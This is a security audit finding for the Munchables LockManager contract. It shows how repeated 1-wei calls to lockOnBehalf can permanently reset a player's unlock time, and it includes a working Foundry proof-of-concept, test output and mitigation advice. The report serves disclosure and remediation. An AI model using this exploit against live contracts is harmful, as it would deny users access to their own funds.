Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L274-L294 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L382-L384

Vulnerability details

Introduction

The lockOnBehalf function in the LockManager contract allows any user to lock funds on behalf of another player. A malicious user can exploit this function to repeatedly lock small amounts of funds (e.g., 1 Wei) on behalf of a target player, continually resetting the lockup period. This effectively prevents the target player from ever unlocking their funds or changing their lock duration.

Impact

Permanent Lockup: A malicious user can prevent the target player from ever unlocking their funds by continually locking even a small amount of tokens (e.g., 1 Wei) on their behalf every day, or right before the lock end time, or even after the lock end time by front-runs player's unlock transaction. This resets the lockup period each time.
Denial of Service (DoS): The target player is effectively prevented from accessing their funds and cannot change their lock duration in their player settings.

Proof of Concept

This PoC demonstrates two players, Alice and Bob, where Bob (the attacker) takes advantage of this vulnerability to prevent Alice (honest player) from unlocking her funds.

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

// This PoC demonstrates two players, Alice and Bob,
// where Bob (the attacker) takes advantage of this vulnerability
// to prevent Alice (honest player) from unlocking his funds.
contract LockManagerPoC is MunchablesTest {
    address alice;
    address bob;

    function testDosPlayersLocks() public {
        uint256 lockAmount = 10e18;

        console.log("Beginning run()");
        deployContracts();
        setUpTest(lockAmount);

        // Alice locks tokens
        vm.prank(alice);
        lm.lock{value: lockAmount}(address(0), lockAmount);
        logStep("Before Bob Attacks Alice Lock:");

        // Attack Scenario 1: Bob continuously locks 1 Wei on behalf of Alice every day to reset the lockup period.
        uint256 smallLockAmount = 1 wei;
        for (uint256 i = 0; i < 30; i++) {
            vm.warp(block.timestamp + 1 days - 1);
            uint256 unlockBefore = getEthUnlockTime(alice);

            vm.prank(bob);
            lm.lockOnBehalf{value: smallLockAmount}(address(0), smallLockAmount, alice);

            // Impact: Check Alice's lock end time
            uint256 unlockAfter = getEthUnlockTime(alice);
            assertGt(unlockAfter, unlockBefore);
        }

        // Attack Scenario 2: Also, Bob can just locks right before the lock end to minimize the cost.
        for (uint256 i = 0; i < 10; i++) {
            uint256 unlockBefore = getEthUnlockTime(alice);
            vm.warp(unlockBefore - 1);

            vm.prank(bob);
            lm.lockOnBehalf{value: smallLockAmount}(address(0), smallLockAmount, alice);

            // Impact: Check Alice's lock end time
            uint256 unlockAfter = getEthUnlockTime(alice);
            assertGt(unlockAfter, unlockBefore);
        }

        // Attack Scenario 3: Also, Bob can run an MVE bot that fromt-runs player's unlock calls,
        // So he can target a big group of players automatically, thus prevent unlocking even after lock time ended.
        for (uint256 i = 0; i < 10; i++) {
            uint256 unlockBefore = getEthUnlockTime(alice);
            // Wrap after lock time ended
            vm.warp(unlockBefore + 1 );

            // Alice send transaction to unlock,
            // but Bob front-run him and locks small amount to prevent him from unlocking
            vm.prank(bob);
            lm.lockOnBehalf{value: smallLockAmount}(address(0), smallLockAmount, alice);
            vm.prank(alice);
            vm.expectRevert();
            lm.unlock(address(0), lockAmount);

            // Thus, changing lock duration in player settings would revert too

            // Impact: Check Alice's lock end time
            uint256 unlockAfter = getEthUnlockTime(alice);
            assertGt(unlockAfter, unlockBefore);
        }

        logStep("After A Series Attacks on Alice's Lock:");
    }

    function setUpTest(uint256 lockAmount) internal {
        // Make address and mint funds.
        alice = makeAddr("Alice");
        bob = makeAddr("Bob");
        vm.deal(alice, lockAmount);
        vm.deal(bob, lockAmount);

        // Player registration for Alice and Bob.
        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        vm.prank(bob);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        console.log("");
        console.log("\u250F----------------------------\u2513");
        console.log("\u2503         TEST LOGS          \u2503");
        console.log("\u2517----------------------------\u251B");

    }

    function getEthUnlockTime(address player) internal view returns(uint32){
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                return lockedTokens[i].lockedToken.unlockTime;
            }
        }
        return 0;
    }

    function logStep(string memory _msg) internal view {

        console.log(" -", _msg);
        console.log("   Current Day: ", block.timestamp / 1 days);

        console.log("   Alice:-");
        logTestPlayer(alice);

        console.log("------------------------------");
    }

    function logTestPlayer(address player) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);

        console.log(
            "       Lock Duration (Days):",
            lm.getPlayerSettings(player).lockDuration / 1 days
        );
        console.log("       - Locked Tokens:-");
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                console.log(
                    "           Quantity:",
                    lockedTokens[i].lockedToken.quantity
                );
                console.log(
                    "           Last Lock Time:",
                    lockedTokens[i].lockedToken.lastLockTime
                );
                console.log(
                    "           Unlock Time:",
                    lockedTokens[i].lockedToken.unlockTime
                );

            }
        }
    }
}

Test output

2024-05-munchables main* 10s
❯ forge test --match-path src/test/LockManagerPoC2.t.sol -vv
[⠊] Compiling...
[⠑] Compiling 1 files with 0.8.25
[⠘] Solc 0.8.25 finished in 7.97s
Compiler run successful!

Ran 1 test for src/test/LockManagerPoC2.t.sol:LockManagerPoC
[PASS] testDosPlayersLocks() (gas: 67881318)
Logs:
  Beginning run()
..SNIP..

  ┏----------------------------┓
  ┃         TEST LOGS          ┃
  ┗----------------------------┛
   - Before Bob Attacks Alice Lock:
     Current Day:  0
     Alice:-
         Lock Duration (Days): 1
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 86401
  ------------------------------
   - After A Series Attacks on Alice's Lock:
     Current Day:  49
     Alice:-
         Lock Duration (Days): 1
         - Locked Tokens:-
             Quantity: 10000000000000000050
             Last Lock Time: 4319971
             Unlock Time: 4406371
  ------------------------------

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.63ms (28.76ms CPU time)

Ran 1 test suite in 168.06ms (35.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

To mitigate this issue, the contract should include a mechanism to prevent frequent resetting of the lockup period. Possible solutions include:

Minimum Lock Amount: Introduce a minimum amount for locking additional funds that is substantial enough to prevent abuse by locking small amounts like 1 Wei. While this won't fully mitigate the issue, it will reduce the risk of frequent resetting.
Separate Lock Periods: Allow additional locks without resetting the original lockup period. Instead, create separate lock periods for each lock transaction to ensure the original lock duration is maintained.
Restricted Locking Authority: Restrict the ability to lock tokens on behalf of a player to the player themselves or to entities explicitly approved by the player. This ensures that only trusted parties can modify the lockup period.

Assessed type

DoS

code-423n4 / 2024-05-munchables-findings

Griefing Attack via `lockOnBehalf` Function Allows Permanent Lockup of Player Funds #26